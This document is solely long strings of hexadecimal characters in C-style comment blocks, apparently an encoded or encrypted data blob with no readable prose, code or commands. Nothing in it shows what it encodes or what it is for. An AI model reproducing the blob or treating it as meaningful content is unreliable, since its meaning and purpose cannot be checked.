feabbc0519e0dd51ef35d4f035f3f40eb5c2a7108dd40a901737c2148c153e4a699f9596443175ddf3b0ffef89f81e2435e98c1efb019c20a97ed9a4cf4e37496417c3d6622cc4071d47ad15e0a0fa4010d219e31ae1fc6e4290738007ad5667f0c885dd1471d016a26ab04dcba82125935e91a3d600836c183296d1c887cd7dd5b551f57d165f3c8c4df9614cb2e31e813ccc4719ea7442a7a1ddd7e21b1fce4a53e79e9aba6bdafd754f8503347b5905f4b7c0df62db760b6099c4762929a745e5aa0f8dd099e6fbb4d8414dd9e1b2b7b3471c97a205925af949538675456e7cacbe67ff02b9b46a0718cc331b490b56ef1471fab90cd2640e95acba9f05940eb845e5d9dae6ffbff7b2de87e6a69ccc1d04604c75dd2b0845432aa932faf84a256400d0136ca8c5c8779a38b4d9c1656323c6733a24be41893276d0c1616d47783f0214de019b6a2af0970128c65e83bcf23f4786664e85d5d86a4a27aad5566c274fe41c638e8c7b1e0a9813f8f28fa1ed90a81943de821d2cd72b084f6cfbd4bdd0bd0693662d4562b37ca91ec209fe7f61d14063f0fb8172ec7c2ed8bd8963d80582365b44ea69b668829d99adbdf9f9185746a867db83678df5b580fd5f4d04135b6c47774f503f0f4f03ecf8f1f55f45b0659d56e0f7963ed24b20c1d9f95d24f7ceb3afd79426d7175ccde5bd1cf09c3b8d93c0664fff4c2ec8f48856ee2984774c269ffaa4ec2b5dfdf75844d5149c2fdec1ee453686b1592a3d6f0f18ecf36fdad234d162f043d31c78e55d61392d7ed28e3c5ae65850ea613639368987006945b2480991048e21678ff5426033ce08f9d7860d9254b8d8e720fa8a210ee2340a6de9c48d81679b920b3ac76f70f16997e5bcfb12d6107bade366cec24bb3288e81403b3bf88594dc98993db6289e3faa6b982b87b246c0b9c9f6c29128a7775ba0ecd28f83056bbb61d54f4be5996e9f13e16c1305a1a7466d6d1bc5fe27c6604f25685edd18c36227555f61f89e47fdbae0f13269f470721612a416782f713a86437f5573d750fb9cd8cec4f702d59b2268655d322c0c5531bdd80d07db06e51681b623da1180a24f728bae6e88622ccb8f67134b97626d73daf2a0597245d565e70206ca825b4516f2ebd9c1f65740e2ed2ceacf441177ac3e1d857c5407c100545251a17623a0f3cf3f94bfb9460af0325583cc78e37e3491434fd435e867f65214def00987a838c78f205e237e661f6716d0d3152d18142a8941d795015cc737d22586bc72b541fe0c1feb05cf49c05ea1c29d2e6e49f5899597a472001f9e83c54a9eb61ea7953681c307efb9a104e884d49cccbe833bca9728e943dc2f85adb0862b50fc18f9b4ad4a9ac036d4662019272381a36a8c3eb3b678f6b7b737d9c4179ca4cc3a83ad89ddfd128c32923f3f312ae1e9185968a1f6361a7b63a05bcc069654972f586b66c84af87d65f7c39311b565a41e7*/
/*2d39387b47171dc4ad047d8be02d6e23fc1abfb26a594d58b3b538b77788654949278bc9e6aea9138edd81209711a9509b8e0a952f6d9b8bbd95c9bc74372493f417c9ee0259be7209ecec7313333e189c91899440f2f82469af9a265f8a41972e308edc31427665f822a54b35415376b111c307b4db53c5e3f4e4f27d11e1e0e46c5caf5a46fd1ff73b7a95e1627c5f69cc03f0b7226107cc2e6186ee5c2f7cc36f4fef381638b3604e1a6fab969b8575a46b67a9fbd1b31f5992811836347638a6e146f8450d21768e7a2c9a2ae17a17bc22ccb731c3f1a373932ea7cc093bb2ac9cc944a3e7272d44785ffca26e942f6fba7b8df86e40b4bde946ff0b27e7447a96dec9df725af2c26a60dc57f77c6cc2ca7fbece6423a3be0df989f52a8a0168ac4e5c8927bba78b4ba3723eeeb2fb2159002d303b37ed8cb8d0c35be57a5ed7e4c48bff4a44466e9d59eb2f803c5277965b724ae39550959b3522f3a8d6f9b7b5ae0a5e995a691d3188859caf634763508c6c7586a4fe9cebb0580cb9949e4c1a3a54b08300fbfc42bc613806c04ec4aff69f95947d1d894ff29c2943b977b2594a5ff19951301af01750cb0b8017baedab5bf4bdde8dda7d21c79969e934da5cf17eccfa512fb9f9788348175925640ff64088d5e675b6f33b767a023385b40f2ff80fa5a15339fb6d6c95eff547f8911c3463b6d29166fc559efef979e800f96637676f1fc97764c8f5e875e9efd187931b25de23da47b834866295f85c9798d7aa71d8c483c67f95372d43da6998606984a63a9cf0f0034a45e2aef45e08ae857692c9dcdd2d3660bb854cd9b39053dfe50a5760483875fbf008c7665bd4eb9804989ec6f904cc0748cdac99fbf775245d112ea5ee5d3b9fe7dfa015bd691b98fa1ac2c61408f87d741afed27bce1d673288bbcdecaba6d5621c4463429970faadcd3f800191bd780011028061b3b5a5ffde7b8f18617e03baf4f974d2470396ac6f465e5192ceca74c8a12f75d453d906d95c73fc613185a3dfdd382136374f1ba1ef6d6b01c559bf30749b40e6854b0ee347746661c0a3b83f232c0967d626a8365943025a51abbd174f00fcccac306a3af2fe0733f1156d9267a08c6cacd8638c3540dd6273b819227e400c66ca1ff671f7fe6fbb1672c6319c8593e68f2ad99520615815a5cf8b1369ebe611c8c8039fbe36d24ad69da3bbcb8155e19d18f97cc2f72445174a0bfde6d907d5cc7a792d2760c50ae52db9c8a34dbdd8bef0092cec90c3f54dafcb42d41a0b20277bb6f8e3b8cf34330473f77c60a626c198293c239b9e814df4cf5f65295a91969ba5186436e283a57b26859aab321e3cfde37e12698a80177740063f5f4631c6a71166df9fb2e57ee60e6a10b19fe3d00fc074f577fa4f690f805f58dbebf47bfafb0dfc5a008c098c1e742892c459896028dd73edb533e5b28ad95c0d6b611447ad753b02c3d3ab16ea96eeef5962d602bf25f5b61bd4bb402fab6e1c56924ac33737cd369886a60ef8fe9487addfd8b0990824179a7b8961bb9ae4e2bfe75685190898f0bac595d27c937b6a03509af556f9be742855bf4e536cd02640a29207387a969e173320f6ecc4b1449c1ae77ada6f1bb9cdaa0f2bca1955453f49de41774d58498a16d388a985b16d063eaed942fbc548ac1431b8fe2ab115c0b48744ba377204c4bbd4429a1741026d157d0c3c0b2a3e9d3d3130aa10f8b8284c941113ecdf0e01802d90976e50229291449a30f9ea60d764ab30254e65d6e345649317c9464fca6eb1e8e95a5abd71efb711c543e757383a36359adceea512679ace2f1a1f8573bae0683c8af5bf9b7fc66652202787028a6a7d83d64629e58df880a63fdf6753609d8c4d5910859cd3dc74c3b22483a672c62f02f755811b339c19a1ac9ad60e92c8dc344502a049e1c30c17095e75d83e4f184fe41c7a54a33c703e649fc0bc97ecbcf1c15dfffa4c355d2191bf95d6f36e7c2f64ed451cde17cc254bb1442dc23fc52c3b38f9f3ac7273902b6653e6d9e2cbcd1deefe64a9ef9f0406e7d4ba6419e18d11ca242c79d42e45ec538269ffe4c10b11ff47a6b851a62153ca35bf25b464df5cf37e15ee66a51c57398c756b3a7ce75573454f53b318155bf12f0c702a533fd7602e43675a45e91638cd1449148749cf1667263d656443d9ee4ba286bc17f8095aed1bed8ac2ddd4acc1c5a5f562fe07d96e3ed1d0d620275399ddb229c93a2eac73d483c3c89d9d985f5b2cf5983094821d760aba5718dea2d6dc7edfc35ef467b1fc356c42e6e1f6169836fd23c2664bed97e4b528e31bb9684a9c82c6c6d508bdd9c71bd952bca2b9edd102d31e07912d7040019b144a8b9a061ab499dca321060b4e1c1eab73014c79e0a6f3e8dff42bb3c1c0673871bbd2441c7a28c8d34c2a8d826161d04e56f0a221469752001a819771a396e8501e140ac98b5bbf3a69520177910c076b237499f5193ecd9585f1b7d07ad2626dfaa37247138bb969897df5eed06dae63ebae63369574c35d43146218a00197967f128583ac7e9fa45a04e4b124d0ff2f6890b10246917beb4c020c447e5bc39ef6c51162886f7843fe6f7c1a72677a722686876f33ce433952ec68f952fb70893a21602f5ab6ad5b282997a917b4e86a513d1711083ea5e32a3590b4e4d60eda0d34401def14ecc2efa439b2c43eae3ad76b0a29aa60e07fde28cb908dd28acc928459aefc8a454e7d35d1becdfe4c7a721fb9b0d47ae458118dd85068ac21a0194c461d27b80b177c28dc4e09eb5987c0d37286cbec9b23f814*/
/*80e62d03e65bd4f52d99c1fca3969f2ae9537a5ac4d8f1056b79b3b195f8d9bee668ed41d840548f043e67374fdb7051c69bcc6abc1c3577344fc4f4f4924b1bd578a5bf89ff7f543c94852ee64c52705b2c5c39e01a11e63942cca84b26935320b87b6b33140e7ae6201747e07cb7aa7b282899557d05d2779a6339cf589ca62431d1018a8b6524f55da88f471d25bb2bba758d240dd610e76b38236d30ac047ee01a70e30f0966e7fe35615997e607e7b806a1e983a2eef5e1b8f8b67d52ae70478722bcb3b99d416cc5f7cb7311db1d8803b7266304319327e2647c02f2b8b9af624af2f4f9bb83343ee348110f15bf1fdef3eae0c4f1c8ce5ff47d9a05286d52401e2d76f567cee1522cd8dff5423e84a6f89b19cb4856c98926630fb61e8228a8a5426963db13b79d27a9d91d2e68c37731e7f9ea1368e6f7522cbee83e4544eae300658b604acc2db2be56f3324cc647e1aca1e7d167e62bcec9e0359ebef2ac4a03f83d3cee74a2777c5d5ea8c12da442a2ae282b05d8f3f23f86a5ca0136e39510d338de57258a463e4dcf20579bb0e1dcae6a7582e261818bc268763eb85372cf56081864eb49cc9dd4539007097fb9ca64a4fff16a744b5a4287d5681fee17168e37e7e9cefeaab52b093c2d79f44ebd51dd4e67840eb7bdefd623375cb2e88514574b5892d6655268f6916aaf0ef58653d599899dfba5434373698d98b4aa3fef6f2ef64133bf6d6b49a4b27debcc23888b371363f289849ab7aba6a60beead31c7a366b2657c885ea142595fac4c54f37c52b067b1cd730a4e9528af1e32adba6ed6f2b05a7ecc39117250f55f41594801eb86873d5ff8ace714bb59747423cfe08cb4efaba519302d85d58caa317d624fbfe51f631922a90ad32bbb1d767aaeda061bf92021f9208bf4aacfbaad004ebfc4037f97ed21efd3006a3b0e24ae9b0305b45f248cd8eedfea906e7ed52c4c8d1de800c2dae0f8ba890ba87244c98ead3e7716332e90c7fc92a167e65f65c8105096b53a3f0f512eef92acee96070f63cf79e27107e9c0db7ad1c2df0cf64646c465797063509ad92731d7a6656489d77722d5ca16054d8e475488f3ab424e978507f8aeb7eca94a69d004d079ea2eaddc8b9a37f3a65aa80958cbcbfadc1ec0c8856400a8825b0ffecba72913dda3c62b3787498c5a6b4cac0a3eeb1e65de2b5264da82f95bc1e76db6b3485734f5338f1006b6ed2e958f32680f02bc2b792a21d47bc3253c8635835e6a71646f68efeccde02f6f1822970553aab3c402a8cc8774c0f528f7e343faedb6363967d8dc5da14be86f169b1d830261dac0985c0bda0d1e153ef6155e0a97186aab74560b222030905b35952a2b33edb76197b6f5a4f38e244d047e924159d7ac9a0f7a8f4ff84752b5c596e3fd36ef615f1829ca3d546225182af6053be2336b5ed003c28830c52ead8dc1062e6990c11e6023b282a57486f1dee1d188ae4edd81373803b36ed87d4065e0c5747bde41ffb3364e49e30f3dfd488a00a731403f3a7a514d508eabcd09407dd98837f8b59d4585e0bf20b797f4d1b3144471c43f727cf1a2b20bda1a71ba9d56e513a5733916f20f50d55d90dfa276720275ebf0ad4956f6cf7213944ed121d002a229c7c740f624feeb83c84dffb65fc84b395528e368851a9bc66d7ee5fee5d74ae470c1897699bef98918c7ddf5c03134a5fb1f6d89f11504d1e741d46437db00b74de837bb21ccc30b7ab82cef5510d1a0f0fe4673d9c6186b003d31261db899fa5a7cc52e8e5eda04de78060d04bda3eb037fb9b829859014738baa61e742f65b2b4c191aa02cb804ac59e471e896fff4b158a819f204705067928dffeb4b5ad9ceb142e58756d0bbc8f4bbe80842293a4f239f569844791e7bafcf3503dd5731aa7fb4b4b179b7a3c6bb8bd0355358b8f31ce8d7596131f236219c108f2a4eb1b88134d097cfa527d5f8ce414dbfcea9a809d30f37528198a36d69c432d08cd29542e4a8cb9e0998861c2c8e0bda7c71df26021a1e0b7951f20e94acbfde38adf0a269c8b782e367a36c8cbe55c43c0665eedb5568fa6950e09d5dd177566941c3b04db2966f43af6caaf742a411a080809dfd0cd675fe0572a3ebcc684776ff15e67957a1d8b9bc7198e8f57367fddc7aa0b4db4ab9f3bd05d2267eef13f3dccc17030412e2bcd3c4c5e0d62f0eaecfd03eefc48400e989ef5ae72c1c5bb1789be9d5f31ed1934fc38f3d85ff1cb10597955a36090c150b3695e4d7444894e06ce5300323d4b3e7500b4ed13580c3a8fc3a49da295dbe253104ee0aefe0e80752bcbd8e2cbecc63d4cdc696115dd410e471e53784776c45c69092fcffe0b12cf304ff1df663651970fe887ca1c7b7306301f3058146b8a1458b8632d9b82850c6fd8f858188d0534ead01c957fce9c4d18103fa89a75ffe87a3f5daa38cae819a7dd6aa934447907a3ce808fbb0bc4ed5b4ff12ad3b14bd7cadf1c8befe05446a039c6b5fa3cf73171f0e4d193ad2425457e4aacfd9a4210693f125e7cedce92a85c6e3daa2e10203973c7770b5b3d59b5e3711b09a9f29a415d8b1f357a5ce348aa8171d37c323a2751f4c4cd52847179e4188bfdb2d578a89faf9e71c0f628bb56d04f8e4b7bb724aca10abd6a6f182bb4699399846af6f014b4c21aae73c16498148a2156088ee4c7c7c4870dcef6dfd78db67efc4c96c4be852f0098da19e565f98087bc5d82a2a91a409ad6ae4d8ca044cb6782c4e20fb9dfb1a5a55231cf15b15cb4132348ec42df24eea4ad77a75477a99b9d43fb1fd512fed67*/
/*9dc537289f91ad56dd5cfb347d6aa8ad4cd32a032096582b7051f5061a0d9161ec3fe79968f3e320d4b6db3146c90ec24cb8ac38e313ec977f25fabe0b64fb68622f92497b67e115db4587b1951610fa099607ffa869ded839c4814a2828a4d0769ed21157d60787f2058e6cc7e3868a77af809f5e8e4d4bb8220b262c011553f7950902d81270672f491487865d3c37f30167db13ff4474921ef6acc0bdfe80a4183556184bb926bd42bb2b7e3b7f651e6814f5925cca6aa4cda8c74d40d5903567d37b475dc0cb725edc4bdc638d333354fc09cc618c68b08f2360480a9d9ae65543288a086bd890b3dbbea15789e14204d3c92a17d22703f310e52864294b75d40bb18dd4220ad89aafa4e036971218bed9c1cfc7133cf1bb36f2c0e1bac9768d2cdfd678f329550e5aaef410c682a03404369eb944f62f3bffc7ef015e99ee447f6a95dfc68157aeaa8b4eacdb6c840a27f0df0e872853b3e586d83882a152b6f23909cf8b55b3a129d9367f5a5d8e94e6a3842f6f9ed8333fa4580738986c5c89fa2981bf7559229ab0b869e0f0880721fa25ca4360635ba4ed62cac3ff37b586d5c195f9d3ab64eb65b0178453f13a46406c32354c622d3c6fc2595d7ce505e724e7b595a1949e6d6b41532e06b245a4b9de4cb181aa34decc0595e0428b7248af224c99b0d1be3816b7be116cbc440615aada71fbfa9f5bb776df4d67f9a519b4b4a056b1d8731db787d04db792e131127522a86df93abce53f77d852d2a87ee8a729fa8215f05180e17fc6c4626fc0c9cc8fc9ad5189c3ca94591928ca35f7023f9440daf6425780c5fb3c5b2620a8be12e868167059c61d0210452c716ad0bbbc6fe782fd1d67db087cc7517ee705b9cdb6c161dd772de4935317cbbdc9aee50abbefd2b2fb2d0f9dc92f9706b234a0f37481b92277026c0a18c201d1e991de65795a67976b7ec2edb055dd4103d5ae28310c23179f5f5accd6a9d405e3006e5d06466fed8da516efe2337cd16018d7b06bee069482a0c0338246aad7bf389231a61eb8e4361fdf3e70fedcd34e2a05001b4480529af1cc7c0d41fae0af43af86f87b3ee0121ebab7cec366a3b85d8f16635da7af3f1849de3995fe7204d6dd2f90ad26b68df2f16581875826d2592718dc795b17808bba772c664e6b5be7589d3e94671a18178256d1acd9d88904efb86de948361f1284af6790ba292a5f2b78b31006d6b96489a9b6179471b00c6e2022ec7edcefcf114b3a7d24b6b9096fc59ac4b55c9eacb26de62fa637613bd8f14e5699adb95f81caa1f42472ba0ad06bd6a6d536eefb65760a06676e48347e35a0aeddab07538b3c40d444adbe0ceeb8a2b4993c30626a3c3c0221f80f9551504bfb355b3deba6a374cf17b18b609a7cabad5d302dc64a967ca39c9d7c0b51534005a97ead61b1a7b5ff38b216e7cf0a662c8f4dcb66a1fc10dcbe6872ac77e16f9e910d893b7b4e0448d25664517b3645018c32e6f2453a69ee424eba825a2c62b7821fc6eeb39ef8c8910ab9d31782ec50b36664cac9157f48eb84cb70a31ffdc16bf935f7458477a01aad4203897fff06a120308ad1046700e489accfc9f73369e468fafefd1f984573d5965157c8140ce75e5fa0636914aa91685181c91aa5754266aa5d52c0c5562403445966bbfc2775a9caed75d7b27ab87020551abb15b07799fb5f7fa077127eb5870c5b1e765789bab79b199ec1285830b67f6361d7b94791ae5fafd37afff814a39d258ec33f681f38b2cfc53c6eb6431b1ea336405595a2b75c17ad03b081832faa517d2fb3f4943a15d31bd56a8220172057c920db06fe669bfec51229cb352e5d056406e77c7f43dbeea14881bb489879bf73d92f4c3530547f3ef0e30ff9830c587997be465a1665c1165695685ad761c3efb16158947f6d3b8e4bea4e631e66e2c5a14cffd6cb7f705c023d05bbfa7a0e623333aab651ac1b847a3c0f4acf373f23cd1483cbfaaa7cca1315f7969cec2f2bf673addb77e715ce99b1ebf2b6aed5bd048debcafe0816fb1a33e091e5acfbcc03f782b42d1a566814a261725b8740e23b689a4d6f336435639f2f1eade3fb419767895abb4a5ca7429507ed026c16f64cfc882c51df85bc475376dfca749cdaa051ec874bc3f9f2c3027131b9d0fe601c79c529b79da38984f194ec0c36a3b3d828f1372b1fdc82b8e99e075659a4bffc56d2b6998a327590c2c72c23e3d873de357d65f75f71a11e992d56dd6af26c3b80e6f6bcfa9b6a989a152eb1d9c4167ddc2ad490fbf49a746af5b8577578ac0cb6348bd62b4191ed2385fe26b2dbddc7082e335b159d28d7b43a29dd329cd443601777c571cb1f9f8be7e4c451139ecd8d454bb882ffd7076beb0843e962aca819f94fd4f17bcf85550026e7fbb945b65118aa51ed5cc58a1e02a839aa34640e934fb31f51d227db07cf60c63fdd9f4d9913ae95d5c5aed4c320ce7521c477e2feb632ca753ed2506b16463dde3bce8040bcc4dc19e5ed2e5960ab8dab3911fcb004413dfe64198468b591b45a4abeab93584c69d89e0442384ec3d6a1f87fc2cca6db2a2800379679883a6be82e76ee2a319a713bed001affcee9c01c900b4dacc645134969cadf21a3c6f0fcb868b992ac4c6985896ed3102dc530d3cdbee4ec461951632ef05a1c110bc3c4cc593baa0beaaf8b9075ef98efc9fed9a3da6508d2601b1689191e0075d892289fcb4c5ab1bbc80013bf6c0066a198b77b2c1703fb77c3d666e21b8f1c515955883afbb6ceef529a61ecbf4277d4b12f01f018670ffbb003bace3c0957*/
/*076530cfb56c51587563d6ca907462c7092791813b0812fe450080aecb123b9a07ce54e337f0d7dac80b3a6c7968873a91333f7a2f5253a7376d8ee4adfdaa7872aa8b838739577ffc8f921f74c196d43104a9a47279f206a681a8f531070706ce193b01237cc020ea806cb56ab89d6934044c6f733f7f27210923964c072f3a00b94404df812a9594a9c20f73c8b5a3d8c8671cbdcf4002e2fd796d25d0c9790cd7428a15db27eae7179d5ae4aff671cdc8b6646da96717d024acd81602a3333182020d7ba3a23f1b8bc0ad2684d37e45c0b05060f4782f43b5b5124d6586ad66909703575e3de49e7a048711a690aa2e6bdb5387a5e3da8bd3aa20ad66d2dc64e744f81f5b5648929e106ed5deb7c6ae589ef183bf0a13c4c9db17ea7a7aa50e7e95167f347259dddc57f614902387affde5ab384b262c0131b962b3feadf30bfa37192f96a964382f5953c5cc49a17a7bc228f666bcd02295a490996606f54fe1b8a7ceb28cc7678c3ffd78143bfac3bd9cc18ea3aef1543eac03df9de069539be4155cfe173826b21d488b6c896964df4a254fcce9d02526bfb7c80491bd2fa86d258ab86390c2aac0d3feade062406f4bff982e1b6b297d072b209fa05e7a0fb5677e018a059608619d962373358220a91e03c39360d3104720509f2af6232992aa96d5d0da06e5ed7f0900d93d95c4e1ef27a0864280fd8bb3cde11179102d61ebc72c8ed72d1e93461dd8bbfc396cd35e0606fc0b8e910a6e9488338eb72a42245b688ed711f0faaf4a3c16a00225459ac66986a7c137d1bcb323c7c3915a5de65c6869d9cc2f8e282744ed8a2b9f95ef21aaf0ff9c2613acba0d2ad8d6b71fc6c0612bdce2bcb7de67fce2fdc8b34e2bed73cbea806e2f87b71232e98c76e75cd2af3a338c5d488f1d29f55628f52c08f0886f1aa4fa6252f09a2d91ac96e00d076e26ccf3510371b1064fc2156f5cc83e3e28fa23d78d2b3daec3f15bb72ecc5b287ae1b892df4c780e1fde562935fcb4e4dc15baaf3da79a913473bb22702e359f9780630db3b70fdff4be520003b5f8a760a9398b44bc10c76631da4db0fd1075697a41ebc7664bad911d29b3a02ac6dd0b7467c47fa9ed66e655e8e5b80756df4b29c58ea539d79029c4f9a83352ab156bcd9b1d5b36ab283ddd64a1617c5341124f4dafa7d00d3e86b62ef9cdf0648dbfaaf8688633071c93e91afbdf7fafa5a20e41377b347a59c9b563978ce56239be3bfa943240ebbb196e3c393d95f4ce3d0aa84f3092c36a16f98e19e567d01ef4d5c36e9bf9a79298d10ea081bacef78573bb45fee47a57cfac6b6003ae10030cbdfaef027fd56b718992ad88b35c26de8ef5e165f9481022f5b75290bf78d5a8d0be4245345c02db1ff9451ea771b760724da5e41711ac3eeaeec1bddb0034501ece5a492d1a38fa0d7b1b572a2197cd7a117aa33ebbb9d8575dbe0ab0c2f3e2dd7936722c1f2e70a6123b7f843946426785d7f1aa38289f66a910c8cdde0a6afe17ab97b15ffb51ee7a284e9b1a8e42b1679b5f5c11c92bf5b887a330c7b61b4f01be4236759358b04fa61d0011481f29a2bc53c3e2f4ecc1ffdffa88123ac3005f2161f72913a79605f08b28e4947e18cecaefd1056542da4ea485d600e64e3c5be0645eeeb449e323a4eb7f25ad4e10f13fdbaf3c22c9edb7b0d8e16192e60495590ff65a672e215aa5c05c670ee53ee89034caafe7325faa1f01f28f0b5007b18f4fd8d9b3c7479645d8a4eb907a4e23f42b02f18b1c2a214165c2f113750ef7bead03541be2def3f343071b272894413c3286c2b20ff60c6b460f44954175c3030f28afe3f94215fc63fca70154a311853a7953434139ba8e041941a01b0b0ba7253e480dd31d88033df44071c2df3b5a622a98fca756c07f740259fa2ae4b4c17f61ec9bf30bcc18917027d1e474948035ec2a0da207d56d63b5b3c46e8bbe298adc5e2b5927512a8c259fc09fb8aee5a4aba7b3b7407e870bf9d7cca454dfeb0dbd2104079bb1546e99c57d06490a68a61c3e4671bb2fa5c81c8c2c6463bebf5af467e241c7da4fffc0524db6a4483b505b0b46a76983eac28d4091c0394fee7d4a780f1ffc305c6e7709ded2a90d9e2426b68ce93866e4c473ba9a097cf71dc3cc1d27a1178557e819556052762c43e6288d6becb6e920c9539266845a1f9d85b8cbe41d48ac219e52e70c817084d52563093d5aafc046098b67d474d5848be833f3b023002bd35954ccf2ab0422dbf07964803ba25d6423929fe27725b22d24bee5eceee86d8eff22662ee83d8fc3723c06085171acee9c0e4cc7f398cde16556dcd1a9e114bfb0be8225790def2d99c5d51ac9faac9fbb0e8bcf15f287c37a0aa03b0322a28ef2d112b0f6bd4b037909bc9018eed506aeb0e4fb258a69e99a3cf04bc7b8c3bab65900c94a239c3d59951890c1f2658268d9c96c11664b3819b0c7bc0ddc64ef32b29b22a2599de4bd1e215e68933c51a2b079889faf23e6a1e9df34e4399467fd5779519ca41125e36c2398d3ea38ca41b2f52e35df7913e90e8a533de8a0577805b4c1a780761dff194b95335fd3df64dc946611cfb2856f2a38d2d7ef10c2d5e80537b6f7844c1a7719b4720c588aeda3fdd160d42aa9a535d7557d73e78b5fccb768e96dde065b7b89b7ada9e918bd781e777d3b75b38de37628e53b66454eb10319fe0d574b4e55b14d1d4da1970bf4de4993333571cf2d8a576946f1000ad730ca8683e6660987a35e49fe358a4e89146e41c2dc733af81916cec0e33e933e76663dfa147d16650f39fc3f*/
/*29eaf7ebb445be6fc58b36c4710e510b88f3b201e33de3ba51253c4271558c3b6990d73a56b90a7cae00ebab40ba3c4886843d93afc097e6acef103f3c70a6c7141782ec0210306f7dc546afa2bc6dca9ce3612db59a8f26cefbd6bd77fa0fe5261f74757947f23159e6567d176cebb1a43fc7f66726ed7cca09066fdd54088014718fe60795f37925d86900b0423fc11cc8c7eca5f8367d6781ad896e47fd0b6b640d3d556cf380310924e6792d6f71749dda8026832dbca880f361d4cbed9db538c21450abcc6cb9063165d35faff614237f0a942772665af164109f04c2fc1a64a84d3428350aa770c23b5b195eacc921b6917ee57dfd5713b1fdac7ec72da5e45797dece586ed05be176923bf24cd30c1b0075771dc82fb13538d7e966edf184cd7549709810b9b7e4df3bb093ed2e1936c1413bdb0ec98829070701b0be8e650c8cb5a52c01ac0c345afaa23e3bf2097b59b561e57424527f46f63efdc9f100b51d99459c7b8bf530f15bbcb44c9fc87a4fd466ee18b18db3ca01bfe94e1f9dd98503053330c36035b14293aa2f44b5c1eb8e8b55be1944ba41b6ee786443613d7c0bb7ce6a3f4aef44a054c95c66ec4da43b1136bb146371e531d9c874b1a394a855fba35b35f1388477ab3b37d785b15f8b2e33224ff6bd8d53e875739d57c7296ef3376201ed038e5442d5efdf8196fa49188f106b7f4c74a6dfa634b2e8b28c52caf03ac28f0c30dbeff016a5efd6a1e95ffc87fb96e68919beaa564165871e056d9f17d0ad720a40a72a617ac638d01fb5e68fd92d0a1964db64597480ed0bbc5f3344ce6a0fb254f1679f0192b39b4593029bd67bf16a68109c254ba3ce74da28e64118d11e583a9f1022cc3759b4956b88f1c3d4796fadb5c8cdb47368136fe643057e5cdd6363f0b74caba515b3af8ae03d3c7d8881d6676b418ef81006908494c4833c223ac63503284335bc1ddabd4fa7b99ec2658b69d990e4c464dc0a96067c8acddf5b8b02b386ac87eecf2c4f4d3b2a20b88b868570308455f1d0aec4f944a135878ccc865bb0f7fe3b270892d5a8a1b64c72e9311a6ef7cd6eb1510baf1a6f13ac63fed01f63764ec35eeb53847ab272b59ede65daeed0043fa71426c85777eab43a4748bd0ecd9fa3953f154967bdfb67c6e2b81c570e59f8c58ec4ae87aeee54ab8430daf84ceeea8b24523d624b37205fcd6401463422400c217bbf9ddadae87d589356daec6747883a114baa111dcbe0623ac034a0acbb1b5e7f44dc4e094c8297c84c0306d5ff0b8d396b82eeb0ba3def16247ae0754b7e2cb8a9f74928647eb700a4c309cd41f5e1d2c8c9caa5b4e91c2ff91a8f52f0f695244920be29f626bf86fab7ca0a44aa4945f60a8930f830e53f90f1554afba73062237f80e812c3c44509ffbe71ceb0f6382a002a5d56d6937bd95859511fe664fe38e4215d0bc4f605f110c39d492f7c2abd5f00cc1c14fd55fd9cea72edca9cacaf716bee8fc2a0f85bd4d518df8eca07e3645decbbfea310eafad78a4f810ec3ef5c99de17e9c09e5b5f3b8d9b572075d6f9b1a14cf1dd0f11c3d698b9a7d85b254a75992cbebc89c629fab9b55e96068ab68f907e34cdd5377988ef463952b768078a25b69492e39f737c51a3a4649e655db65f9b64d5fbfc270b55c39032645a0f47cca7884c39667e44d44381e0f034cd1ac97d4d281f818ca0ee13cea8d1e1585c18b37a10f0fa74a91bc9a443d1fe938b7e291bb19063e777a520c0c814664db07e9442fa9bb791bd64a006421b051fce45a2b698c5fb7115c65197b98b033af82a58f566888b4e820fda8e93ed1b9755fcdc59341f7c50dd8c5ac1de38a5f4daae9dfa3158031bd138ec6471e977b647b72481329e06f2060906d7e61b5130ca60353cc49ee81bf581af47f81b17f5967d56ac7d6c9aa71e2bb563f0cadbff4c4049d47379016a1ce7f8f50ebaf0f530849a8ee32ce4485463efeb1a88306f8fa70c488978f4fd6176ab36a094e26ee70e2ccd4f53709e66d085664bc98a60f394c5c81096a0ced5bf3eb09c584ed463b4a3a641aa8a49ed9d22d0de94e1dc3c8c2b935be953e44d99ff7191b016ef92a9cf9c1bddbe799daad66ad995073919c4d2312fc1cbcca6664180fbdb3d334c9704a71ee90e73fc3b6fc9cecb2db4948472d120c83eb1a2911d0ce745e2db7facc7953a6411f6f647ef99b049d3cedb014c1cbfd52ac54bf9021a403b40d9fde687c5233fa6a61d4cf8ba1cc030e0f7fa965e384abee3b0667d931dbecb0ca5f7975e36c3199f356bf567faec41035bd90d40e6f57d36621f1c58298b34778e930b4a4cb3826e90618bbcc29917cde841d1765628d897cb7a2d7f4642050134e2b0c1565426fed7f58faa086609431488ebde4be4e1008b7b99f53a1a907b86e1d3e7bd8c7f5097ffcfa1455e5efdc7a1724c3a7316eb90c559c57134501da1f9cd05e8a0d9f3da8b213c738b1a17eb05e9c3ed62910b82e3902c16abb5645eafa20a22dda0277939c031a6f2469af52256d75579ed9bcd6f3a4c44a490f311ecdb49f24a816d21517013987a61efb0a243cb085642698c67d88206724f7844d4a027dd775eb6124366a74492385131cc12310c6cbd51f7038c39b380147f566aee1d6bd78726c74a9c3f3329b0b8bf815d14ec6481bcd729ab7a15caf5107a2875c6bf950b51fc12ac4591e1f79cb7b90977171e85155b20e055ad7e4488f1a063575037a04b266d57c1d8fb140aa1a88b181405683d203024db23186686eafe2fec2119d3121af9c5f9c4fb423058aa7d2df008205b*/
/*6d69187264783c1aacd2ed4300cf7823ecbeba4d4939a3dfe566e016450d242c0f4295bea3a1a9703cc1e82a9e362e56da1a725897a6870e13b27006a6045713d9438a8b0d7988d4207adf51a790d1ca9bb840e605de295377870941fc8be6d8f1e417f66cfbe1ccf932d2e0aa304b70d0c810a83e7fdb83cbe51e451f896affa3a6ad24e756a2ac0fc5e2b3dec412c79d2c3908f688a4dc4f0bf605bb7033323f14666ba4acbcafc4082642f1608e0d3c6ea2291fd28a9e2f85704c97ed9ee25a39e32e0a74ecc7a11d983104493bc88b9e0d033e60f08e6f3c9e1ade3dc6e503b53746dd6413df9f13b17e51547b7fba37a3ff57062b0fb3152baeebd970d76c2642225ecde8b9d39ab99be80822413bf0f69c9f30c479fefd913631bfec315955f45ebe9de6aa0ba7f35f82166d05055d36039529e6ebe753f32a61ceb65b4f0f6fc7ede8bdfc481b03cbd144460d52ab7a1830df6bfaf785b1187536d7111f47f6698833ffc2c64264cdb9252d80fd23e2f30a0ab928be875c6c1c0b00a7f08a8bf89f9996405da41053f4020a26ccd6918b6e6f0ed188c35a24ed7bc687db63d4abe04af116ac39